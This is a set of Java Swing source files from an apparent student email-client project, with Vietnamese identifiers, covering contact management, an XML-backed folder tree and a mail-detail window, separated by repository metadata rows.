File Kq = null;
JFileChooser fileChooser = new JFileChooser();
fileChooser.addChoosableFileFilter(new FileNameExtensionFilter("image files (*.png, *.jpeg)", "png", "jpeg", "jpg"));
fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
fileChooser.setMultiSelectionEnabled(false);
fileChooser.setCurrentDirectory(new File("."));
int ketQuaShowOpenDialog = fileChooser.showOpenDialog(null);
if (ketQuaShowOpenDialog == JFileChooser.APPROVE_OPTION){
//fileChooser.getf
Kq = fileChooser.getSelectedFile();
}
return Kq;
}
private void jButton_XoaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_XoaActionPerformed
// TODO add your handling code here:
ArrayList<Integer> cacIdDuocChon = LayCacIdMailDuocChon();
for (Integer i : cacIdDuocChon){
try {
new MyContactBUS().xoaContact(i);
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
}
conClass_Table.refreshBang();
}//GEN-LAST:event_jButton_XoaActionPerformed
private void jButton_LuuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_LuuActionPerformed
try {
// TODO add your handling code here:
String Kq = "";
if (capNhatContact() == 1){
Kq = "Cap nhat thanh cong!";
conClass_Table.refreshBang();
}
else
Kq = "Cap nhat that bai!";
JOptionPane.showMessageDialog(null, Kq);
} catch (SQLException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_jButton_LuuActionPerformed
private void jRadioButton5ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jRadioButton5ActionPerformed
try {
// TODO add your handling code here:
ArrayList<MyContactDTO> conDTOs = new MyContactBUS().layTatCaContact();
//jScrollPane1.removeAll();
GridLayout layout = new GridLayout(0, 3);
layout.setHgap(20);
layout.setVgap(20);
JPanel panel = new JPanel(layout);
for (MyContactDTO con : conDTOs){
JPanel_BusCard busCard = new JPanel_BusCard();
busCard.HienThiThongTin(con.getM_Id());
panel.add(busCard);
}
jScrollPane1.setViewportView(panel);
//busCard.set
} catch (SQLException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
//busCard.set
}//GEN-LAST:event_jRadioButton5ActionPerformed
private void jRadioButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jRadioButton2ActionPerformed
// TODO add your handling code here:
try {
// TODO add your handling code here:
ArrayList<MyContactDTO> conDTOs = new MyContactBUS().layTatCaContact();
//jScrollPane1.removeAll();
GridLayout layout = new GridLayout(0, 3);
layout.setHgap(20);
layout.setVgap(20);
JPanel panel = new JPanel(layout);
for (MyContactDTO con : conDTOs){
JPanel_AddCard addCard = new JPanel_AddCard();
addCard.HienThiThongTin(con.getM_Id());
panel.add(addCard);
}
jScrollPane1.setViewportView(panel);
//busCard.set
} catch (SQLException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_jRadioButton2ActionPerformed
private void jButton_GoiMailActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_GoiMailActionPerformed
// TODO add your handling code here:
setCacMailDangChon(LayCacEMailDuocChon());
JFrame_GuiMail guiMail = new JFrame_GuiMail();
guiMail.getJTextField_to().setText(getCacMailDangChon().get(0));
String cc = "";
for (int i = 1; i < getCacMailDangChon().size(); i++){
cc += getCacMailDangChon().get(i) + ",";
}
guiMail.getJTextField_cc().setText(cc);
//dispose();
//guiMail.getJTextField_to().sett
}//GEN-LAST:event_jButton_GoiMailActionPerformed
private void jButton_Xoa3ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_Xoa3ActionPerformed
// TODO add your handling code here:
dispose();
}//GEN-LAST:event_jButton_Xoa3ActionPerformed
private void jRadioButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jRadioButton1ActionPerformed
try {
// TODO add your handling code here:
initMyComponents();
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
} catch (SQLException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_jRadioButton1ActionPerformed
public int capNhatContact () throws SQLException, IOException{
MyContactBUS contactBUS = new MyContactBUS();
MyContactDTO contactDTO = taoDTOTuInputNguoiDung();
contactDTO.setM_Id(Integer.parseInt(jButton_Luu.getToolTipText()));
File file = new File (DoAnLyThuyet_JavaOutLookApp.getCurdir() + contactDTO.getM_Hinh());
if (jLabel_Image.getToolTipText() != null && !file.equals(new File(jLabel_Image.getToolTipText()))){
if (file.exists()){
file.delete();
copyfile(jLabel_Image.getToolTipText(), file.getAbsolutePath());
}
else{
String reDir = "\\ContactItems\\" + new Date().getTime() + ".mim";
File dir = new File(DoAnLyThuyet_JavaOutLookApp.getCurdir() + "\\ContactItems\\");
if (!(dir.exists())){
dir.mkdirs();
}
copyfile (jLabel_Image.getToolTipText(), DoAnLyThuyet_JavaOutLookApp.getCurdir() + reDir);
contactDTO.setM_Hinh(reDir);
}
}
return contactBUS.capNhatContact(contactDTO);
}
public ArrayList<Integer> LayCacIdMailDuocChon (){
ArrayList<Integer> Kq = new ArrayList<Integer>();
for (int i = 0; i < conClass_Table.getRowCount(); i++)
if (conClass_Table.getValueAt(i, 0) != null && (Boolean)conClass_Table.getValueAt(i, 0))
Kq.add(Integer.parseInt(conClass_Table.getValueAt(i, conClass_Table.getColumnCount() - 1).toString()));
return Kq;
}
public ArrayList<String> LayCacEMailDuocChon (){
ArrayList<String> Kq = new ArrayList<String>();
for (int i = 0; i < conClass_Table.getRowCount(); i++)
if (conClass_Table.getValueAt(i, 0) != null && (Boolean)conClass_Table.getValueAt(i, 0)
&& conClass_Table.getValueAt(i, 3) != null)
Kq.add(conClass_Table.getValueAt(i, 3).toString());
return Kq;
}
private MyContactDTO taoDTOTuInputNguoiDung(){
MyContactDTO Kq = new MyContactDTO();
Kq.setM_CongTy(jTextField_Company.getText());
Kq.setM_DiaChi(jTextField_Address.getText());
Kq.setM_Email(jTextField_Email.getText());
Kq.setM_Ten(jTextField_Fullname.getText());
Kq.setM_NickName(jTextField_NickName.getText());
Kq.setM_DienThoai(jTextField_PhoneNumber.getText());
return Kq;
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
try {
new JFrame_Contact().setVisible(true);
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
} catch (SQLException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.ButtonGroup buttonGroup1;
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton_GoiMail;
private javax.swing.JButton jButton_Luu;
private javax.swing.JButton jButton_New;
private javax.swing.JButton jButton_TimAnh;
private javax.swing.JButton jButton_Xoa;
private javax.swing.JButton jButton_Xoa3;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel_Image;
private javax.swing.JMenuItem jMenuItem1;
private javax.swing.JMenuItem jMenuItem2;
private javax.swing.JMenuItem jMenuItem3;
private javax.swing.JMenuItem jMenuItem_Contact;
private javax.swing.JMenuItem jMenuItem_Copy;
private javax.swing.JMenuItem jMenuItem_Cut;
private javax.swing.JMenuItem jMenuItem_Find;
private javax.swing.JMenuItem jMenuItem_Folder;
private javax.swing.JMenuItem jMenuItem_Mail;
private javax.swing.JMenuItem jMenuItem_Paste;
private javax.swing.JMenuItem jMenuItem_Save;
private javax.swing.JMenuItem jMenuItem_SaveAs;
private javax.swing.JMenuItem jMenuItem_SelectAll;
private javax.swing.JMenuItem jMenuItem_Task;
private javax.swing.JMenuItem jMenuItem_delete;
private javax.swing.JMenu jMenu_Edit;
private javax.swing.JMenu jMenu_New;
private javax.swing.JMenu jMenu_Tools;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JPanel jPanel3;
private javax.swing.JPanel jPanel4;
private javax.swing.JPanel jPanel_Image;
private javax.swing.JRadioButton jRadioButton1;
private javax.swing.JRadioButton jRadioButton2;
private javax.swing.JRadioButton jRadioButton5;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JSeparator jSeparator2;
private javax.swing.JSeparator jSeparator3;
private javax.swing.JSeparator jSeparator4;
private javax.swing.JSeparator jSeparator5;
private javax.swing.JTextField jTextField_Address;
private javax.swing.JTextField jTextField_Company;
private javax.swing.JTextField jTextField_Email;
private javax.swing.JTextField jTextField_Fullname;
private javax.swing.JTextField jTextField_NickName;
private javax.swing.JTextField jTextField_PhoneNumber;
private javax.swing.JToolBar jToolBar1;
private javax.swing.JMenuBar menuBar;
// End of variables declaration//GEN-END:variables
/**
* @return the jButton_GoiMail
*/
public javax.swing.JButton getJButton_GoiMail() {
return jButton_GoiMail;
}
/**
* @param jButton_GoiMail the jButton_GoiMail to set
*/
public void setJButton_GoiMail(javax.swing.JButton jButton_GoiMail) {
this.jButton_GoiMail = jButton_GoiMail;
}
/**
* @return the cacMailDangChon
*/
public ArrayList<String> getCacMailDangChon() {
return cacMailDangChon;
}
/**
* @param cacMailDangChon the cacMailDangChon to set
*/
public void setCacMailDangChon(ArrayList<String> cacMailDangChon) {
this.cacMailDangChon = cacMailDangChon;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JFrame_Contact.java | Java | asf20 | 48,528 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JTreeFromXMLFile.java
*
* Created on 10-06-2009, 14:28:32
*/
package doanlythuyet_javaoutlook.MyUserControl;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp;
import doanlythuyet_javaoutlook.EventListener_ClickChuotVaoCayDuyetFile;
import java.awt.event.FocusEvent;
import java.awt.event.FocusListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.io.File;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.xml.parsers.*;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import org.w3c.dom.*;
import java.io.IOException;
//import javax.swing.;
import java.text.AttributedCharacterIterator.Attribute;
import java.util.Enumeration;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.JTree;
import javax.swing.UIManager;
import javax.swing.event.MouseInputListener;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeCellRenderer;
import javax.swing.tree.DefaultTreeModel;
import javax.swing.tree.MutableTreeNode;
import javax.swing.tree.TreeNode;
import javax.swing.tree.TreePath;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import org.xml.sax.SAXException;
/**
*
* @author ShineShiao
*/
public class JTreeFromXMLFile extends javax.swing.JPanel {
private boolean m_chiDoc;
private final JPopupMenu m_popupMenu;
private String m_fileName;// = "C:\\Documents and Settings\\Administrator\\Desktop\\JavaMail\\ 0512324-0512328-0512333-mailclient\\DoAnLyThuyet_JavaOutLook\\src\\Database\\XML_ThuMucNguoiDung.xml";
/** Creates new form JTreeFromXMLFile */
public void expandTree (TreePath path){
jTreeThuMucNguoiDung.expandPath(path);
}
// If expand is true, expands all nodes in the tree.
// Otherwise, collapses all nodes in the tree.
public static void expandAll(JTree tree, boolean expand) {
TreeNode root = (TreeNode)tree.getModel().getRoot();
// Traverse tree from root
expandAll(tree, new TreePath(root), expand);
}
private static void expandAll(JTree tree, TreePath parent, boolean expand) {
// Traverse children
TreeNode node = (TreeNode)parent.getLastPathComponent();
if (node.getChildCount() >= 0) {
for (Enumeration e=node.children(); e.hasMoreElements(); ) {
TreeNode n = (TreeNode)e.nextElement();
TreePath path = parent.pathByAddingChild(n);
expandAll(tree, path, expand);
}
}
// Expansion or collapse must be done bottom-up
if (expand) {
tree.expandPath(parent);
} else {
tree.collapsePath(parent);
}
}
public JTreeFromXMLFile(String xmlFilePath, Boolean chiDoc) {
m_chiDoc = chiDoc;
m_fileName = xmlFilePath;
m_popupMenu = new JPopupMenu();
//m_popupMenu.
if (!chiDoc){
String cacHanhViThayDoiCauTruc[] = {"Thêm mới", "Xóa", "Đổi Tên"};
for (String HanhVi : cacHanhViThayDoiCauTruc)
{
JMenuItem menuItem = new JMenuItem(HanhVi);
menuItem.addMouseListener(new PopupMenu_MouseListerner_MyCayHienThiThuMuc(menuItem.getText()));
m_popupMenu.add(menuItem);
}
m_popupMenu.addSeparator();
}
String cacHanhViKhongThayDoiCauTruc[] = {"Đánh dấu đã đọc", "Đánh dấu chưa đọc", "Gỡ dấu"};
for (String HanhVi : cacHanhViKhongThayDoiCauTruc)
{
JMenuItem menuItem = new JMenuItem(HanhVi);
menuItem.addMouseListener(new PopupMenu_MouseListerner_MyCayHienThiThuMuc(menuItem.getText()));
m_popupMenu.add(menuItem);
}
initComponents();
try {
thayDoiIconCuaTree();
TaoCay();
//expandTree(new TreePath(jTreeThuMucNguoiDung.getModel().getRoot()));
expandAll(jTreeThuMucNguoiDung, true);
} catch (SAXException ex) {
Logger.getLogger(JTreeFromXMLFile.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, "Tao cay thu muc tu file XML loi: " + ex.getMessage());
} catch (IOException ex) {
Logger.getLogger(JTreeFromXMLFile.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, "Tao cay thu muc tu file XML loi: " + ex.getMessage());
} catch (ParserConfigurationException ex) {
Logger.getLogger(JTreeFromXMLFile.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, "Tao cay thu muc tu file XML loi: " + ex.getMessage());
}
jTreeThuMucNguoiDung.addMouseListener(new MouseListener() {
public void mouseClicked(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
if (jTreeThuMucNguoiDung.getSelectionPath() == null)
return;
String strPath = StringPathFromTreePath(jTreeThuMucNguoiDung.getSelectionPath());
getM_popupMenu().setToolTipText(strPath);
if (e.getButton() == MouseEvent.BUTTON3) {
getM_popupMenu().show(e.getComponent(), e.getX(), e.getY());
//return;
}
}
public void mousePressed(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseReleased(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseEntered(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseExited(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
});
}
public static TreePath TreePathFromStringPath (String stringPath){
String cacPath[] = stringPath.split("\\\\");
MutableTreeNode cacNode[] = new MutableTreeNode[cacPath.length];
for (int i = 0; i < cacPath.length; i++)
cacNode[i] = new DefaultMutableTreeNode(cacPath[i]);
return new TreePath(cacNode);
}
public static String StringPathFromTreePath (TreePath treePath){
String Kq = "";
if (treePath == null)
return Kq;
Object cacNode[] = treePath.getPath();
for (int i = 0; i < cacNode.length; i++)
Kq += ((DefaultMutableTreeNode)cacNode[i]).getUserObject().toString() + "\\";
return Kq;
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jScrollPane1 = new javax.swing.JScrollPane();
jTreeThuMucNguoiDung = new javax.swing.JTree();
setName("Form"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
jTreeThuMucNguoiDung.setName("jTreeThuMucNguoiDung"); // NOI18N
jTreeThuMucNguoiDung.addTreeSelectionListener(new javax.swing.event.TreeSelectionListener() {
public void valueChanged(javax.swing.event.TreeSelectionEvent evt) {
jTreeThuMucNguoiDungValueChanged(evt);
}
});
jScrollPane1.setViewportView(jTreeThuMucNguoiDung);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 336, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 265, Short.MAX_VALUE)
);
}// </editor-fold>//GEN-END:initComponents
private void jTreeThuMucNguoiDungValueChanged(javax.swing.event.TreeSelectionEvent evt) {//GEN-FIRST:event_jTreeThuMucNguoiDungValueChanged
// TODO add your handling code here:
String strPath = StringPathFromTreePath(jTreeThuMucNguoiDung.getSelectionPath());
initEvent_ClickChuotVaoCayDuyetFile(strPath);
}//GEN-LAST:event_jTreeThuMucNguoiDungValueChanged
public void TaoCay() throws SAXException, IOException, ParserConfigurationException{
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
//factory.setIgnoringElementContentWhitespace(true);
//factory.setIgnoringComments(true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(m_fileName));
Element root = (Element) doc.getDocumentElement();
DefaultTreeModel model = (DefaultTreeModel)getJTreeThuMucNguoiDung().getModel();
MutableTreeNode newNode = new DefaultMutableTreeNode(root.getAttribute("name"));
model.setRoot(newNode);
NodeList list = root.getChildNodes();
for(int i=0;i<list.getLength();++i)
{
// xử lý từng node
if (list.item(i) instanceof Element){
Element ele = (Element)list.item(i);
ThemXMLElementVaoTree(model, ele, newNode);
}
}
}
public void ThemXMLElementVaoTree(DefaultTreeModel model,Element ele,MutableTreeNode nodeCha){
MutableTreeNode newNode = new DefaultMutableTreeNode(ele.getAttribute("name"));
model.insertNodeInto(newNode, nodeCha, nodeCha.getChildCount());
for (int i =0;i<ele.getChildNodes().getLength();i++){
ThemXMLElementVaoTree(model, (Element)ele.getChildNodes().item(i), newNode);
}
}
/** Thêm 1 thư mục vào vây
* strPath:đường dẫn thư mục cha
* strName:Tên thư mục cần thêm
* strFileName:Tên file xml
*/
public void ThemThuMucMoiVaoXML(String strPath,String strName,String strFileName) throws ParserConfigurationException, IOException, SAXException, TransformerConfigurationException, TransformerException{
String[] strCacChuoi = null;
strCacChuoi = strPath.split("\\\\");
//doc file xml
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(m_fileName));
Element root = (Element) doc.getDocumentElement();
Element ElementCha = root;
//String maSach = root.getAttribute("Inbox");
for (int i=1;i<strCacChuoi.length;i++){
ElementCha = LayNodeTuXML(ElementCha,strCacChuoi[i]);
}
Element ThuMuc = doc.createElement("ThuMuc");
ThuMuc.setAttribute("name", strName);
ElementCha.appendChild(ThuMuc);
Transformer xformer = TransformerFactory.newInstance().newTransformer();
xformer.transform
(new DOMSource(doc), new StreamResult(new File(strFileName)));
TaoCay();
// ElementCha.insertBefore(ThuMuc, ElementCha.getFirstChild());
}
/** xóa 1 thư mục khỏi cây
* strPath:đường dẫn thư mục cần xóa
* strFileName:Tên file xml
*/
public void XoaThuMucTrongXML(String strPath,String strFileName) throws ParserConfigurationException, IOException, SAXException, TransformerConfigurationException, TransformerException{
String[] strCacChuoi = null;
strCacChuoi = strPath.split("\\\\");
//doc file xml
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(m_fileName));
Element root = (Element) doc.getDocumentElement();
Element ElementCha = root;
//String maSach = root.getAttribute("Inbox");
if(strCacChuoi.length==1){ //thu muc root
JOptionPane.showMessageDialog(null, "Không Thể Xóa Thư Mục Này " );
return;
}
for (int i=1;i<strCacChuoi.length;i++){
ElementCha = LayNodeTuXML(ElementCha,strCacChuoi[i]);
}
ElementCha.getParentNode().removeChild(ElementCha);
Transformer xformer = TransformerFactory.newInstance().newTransformer();
xformer.transform
(new DOMSource(doc), new StreamResult(new File(strFileName)));
TaoCay();
}
/** Đổi Tên 1 thư mục vào vây
* strPath:đường dẫn thư mục cần đổi
* strName:Tên thư mục cần đổi
* strFileName:Tên file xml
*/
public void DoiTenThuMucTrongXML(String strPath,String strName,String strFileName) throws ParserConfigurationException, IOException, SAXException, TransformerConfigurationException, TransformerException{
String[] strCacChuoi = null;
strCacChuoi = strPath.split("\\\\");
//doc file xml
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(m_fileName));
Element root = (Element) doc.getDocumentElement();
Element ElementCha = root;
//String maSach = root.getAttribute("Inbox");
for (int i=1;i<strCacChuoi.length;i++){
ElementCha = LayNodeTuXML(ElementCha,strCacChuoi[i]);
}
ElementCha.setAttribute("name", strName);
Transformer xformer = TransformerFactory.newInstance().newTransformer();
xformer.transform
(new DOMSource(doc), new StreamResult(new File(strFileName)));
TaoCay();
}
/** tìm Element con có tên tương ứng
* Element:node cha
* strName:Tên thư mục cần thêm
* return Element tương ứng
*/
public Element LayNodeTuXML(Element NodeCha,String strName) {
NodeList List = NodeCha.getChildNodes();
// String maSach = root.getAttribute("Inbox");
for(int i=0;i<List.getLength();i++)
{
// xử lý từng node
Element ele =(Element) List.item(i);
String tennode = ele.getAttribute("name");
if(tennode.equals(strName))
return ele;
}
return null;
}
/** Thay đổi icon của cây
*
*
*/
public void thayDoiIconCuaTree(){
// Retrieve the three icons
Icon leafIcon = new ImageIcon("leaf.gif");
Icon openIcon = new ImageIcon("open.gif");
Icon closedIcon = new ImageIcon("closed.gif");
// Update only one tree instance
DefaultTreeCellRenderer renderer = (DefaultTreeCellRenderer)jTreeThuMucNguoiDung.getCellRenderer();
renderer.setLeafIcon(leafIcon);
renderer.setClosedIcon(closedIcon);
renderer.setOpenIcon(openIcon);
// Remove the icons
renderer.setLeafIcon(null);
renderer.setClosedIcon(null);
renderer.setOpenIcon(null);
// Change defaults so that all new tree components will have new icons
UIManager.put("Tree.leafIcon", leafIcon);
UIManager.put("Tree.openIcon", openIcon);
UIManager.put("Tree.closedIcon", closedIcon);
// Create tree with new icons
//setJTreeThuMucNguoiDung(tree);
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTree jTreeThuMucNguoiDung;
// End of variables declaration//GEN-END:variables
/**
* @return the jTreeThuMucNguoiDung
*/
public javax.swing.JTree getJTreeThuMucNguoiDung() {
return jTreeThuMucNguoiDung;
}
/**
* @param jTreeThuMucNguoiDung the jTreeThuMucNguoiDung to set
*/
public void setJTreeThuMucNguoiDung(javax.swing.JTree jTreeThuMucNguoiDung) {
this.jTreeThuMucNguoiDung = jTreeThuMucNguoiDung;
}
//<editor-fold defaultstate="collapsed" desc="Dung de phat sinh su kien">
//Các hàm sau phục vụ cho việc gởi sự kiện click chuột vào bảng ra ngoài (tham khảo từ nhiều nguồn trên mạng)
//http://www.exampledepot.com/egs/java.util/CustEvent.html
// Tạo một listener list
protected javax.swing.event.EventListenerList listenerList =
new javax.swing.event.EventListenerList();
/**
* Phát sinh sử kiện click chuột vào tree
* @param evt tham số cho sự kiện click chuột vào tree (ở đây là tên của file đang được chọn)
*/
// This private class is used to fire MyEvents
void initEvent_ClickChuotVaoCayDuyetFile(String evt) {
Object[] listeners = listenerList.getListenerList();
// Each listener occupies two elements - the first is the listener class
// and the second is the listener instance
for (int i = 0; i < listeners.length; i += 2) {
if (listeners[i] == EventListener_ClickChuotVaoCayDuyetFile.class) {
((EventListener_ClickChuotVaoCayDuyetFile) listeners[i + 1]).Event_ClickChuotVaoCayDuyetFile_Occurred(evt);
}
}
}
/**
* Đăng ký sự kiện cho classes
* @param listener Sự kiện cần đăng ký
*/
public void addEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.add(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* Gỡ bỏ sự kiện khỏi classes
* @param listener Sự kiện cần gỡ bỏ
*/
public void delEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.remove(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* @return the m_popupMenu
*/
public JPopupMenu getM_popupMenu() {
return m_popupMenu;
}
//</editor-fold>
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JTreeFromXMLFile.java | Java | asf20 | 18,789 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JFrame_ChiTietMail.java
*
* Created on May 28, 2009, 7:55:46 AM
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyAttachBUS;
import BUS.MyMailBUS;
import DTO.MyAttachDTO;
import DTO.MyMailDTO;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp;
import doanlythuyet_javaoutlook.EventListener_ClickChuotVaoCayDuyetFile;
import doanlythuyet_javaoutlook.MyMail;
import java.awt.Desktop;
import java.awt.event.MouseEvent;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.mail.Part;
import javax.mail.internet.MimeMessage;
import javax.swing.DefaultListModel;
import javax.swing.JOptionPane;
import javax.swing.ListModel;
/**
*
* @author Dang Thi Phuong Thao
*/
public class JFrame_ChiTietMail extends javax.swing.JFrame {
private int m_MailID;
/** Creates new form JFrame_ChiTietMail */
public JFrame_ChiTietMail() {
initComponents();
}
public JFrame_ChiTietMail (int MailId){
m_MailID = MailId;
initComponents();
//jEditorPane_noidung.setText("Doc va load noi dung mail: " + MailID + " (JFrame_ChiTietMail.java dong 27)");
FileInputStream inputStream = null;
try {
MyMailDTO mailDTO = new MyMailBUS().layMailVoidMailID(String.valueOf(MailId));
jLabel_chude.setText(mailDTO.getM_ChuDe());
jLabel_goi.setText(mailDTO.getM_NguoiGoi());
jLabel_den.setText(mailDTO.getM_NguoiNhan());
jLabel_ngay.setText(mailDTO.getM_Ngay().toString());
inputStream = new FileInputStream(new File(DoAnLyThuyet_JavaOutLookApp.getCurdir() + mailDTO.getM_DuongDanFileChuaNoiDung()));
MyMail mail = new MyMail(DoAnLyThuyet_JavaOutLookApp.getSmtp_host(), DoAnLyThuyet_JavaOutLookApp.getPop3_host(), DoAnLyThuyet_JavaOutLookApp.getUser()
, DoAnLyThuyet_JavaOutLookApp.getPass(), DoAnLyThuyet_JavaOutLookApp.getProxy(), DoAnLyThuyet_JavaOutLookApp.getPort());MimeMessage mess = new MimeMessage(mail.getMailSession(false), inputStream);
Part textPart = MyMail.layPartNoiDung(mess);
if (textPart != null){
jEditorPane_noidung.setContentType(textPart.getContentType());
jEditorPane_noidung.setText(textPart.getContent().toString());
}
DefaultListModel listModel = new DefaultListModel();
listModel.clear();
ArrayList<MyAttachDTO> attachDTOs = new MyAttachBUS().layTatCaAttachCuaMailID(MailId);
for (MyAttachDTO part : attachDTOs){
listModel.addElement(part.getM_TenFile() + ">" + DoAnLyThuyet_JavaOutLookApp.getCurdir() + part.getM_DuongDan());
}
jList1.setModel(listModel);
} catch (Exception ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.toString());
}
try {
inputStream.close();
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jToolBar1 = new javax.swing.JToolBar();
jScrollPane1 = new javax.swing.JScrollPane();
jToolBar2 = new javax.swing.JToolBar();
jButton_Reply = new javax.swing.JButton();
jButton_ReplyAll = new javax.swing.JButton();
jButton1 = new javax.swing.JButton();
jButton_Delete = new javax.swing.JButton();
jScrollPane_noidung = new javax.swing.JScrollPane();
jEditorPane_noidung = new javax.swing.JEditorPane();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel_chude = new javax.swing.JLabel();
jLabel_goi = new javax.swing.JLabel();
jLabel_ngay = new javax.swing.JLabel();
jLabel_den = new javax.swing.JLabel();
jLabel_cc = new javax.swing.JLabel();
jScrollPane2 = new javax.swing.JScrollPane();
jList1 = new javax.swing.JList();
menuBar = new javax.swing.JMenuBar();
javax.swing.JMenu fileMenu = new javax.swing.JMenu();
jMenu_New = new javax.swing.JMenu();
jMenuItem_Mail = new javax.swing.JMenuItem();
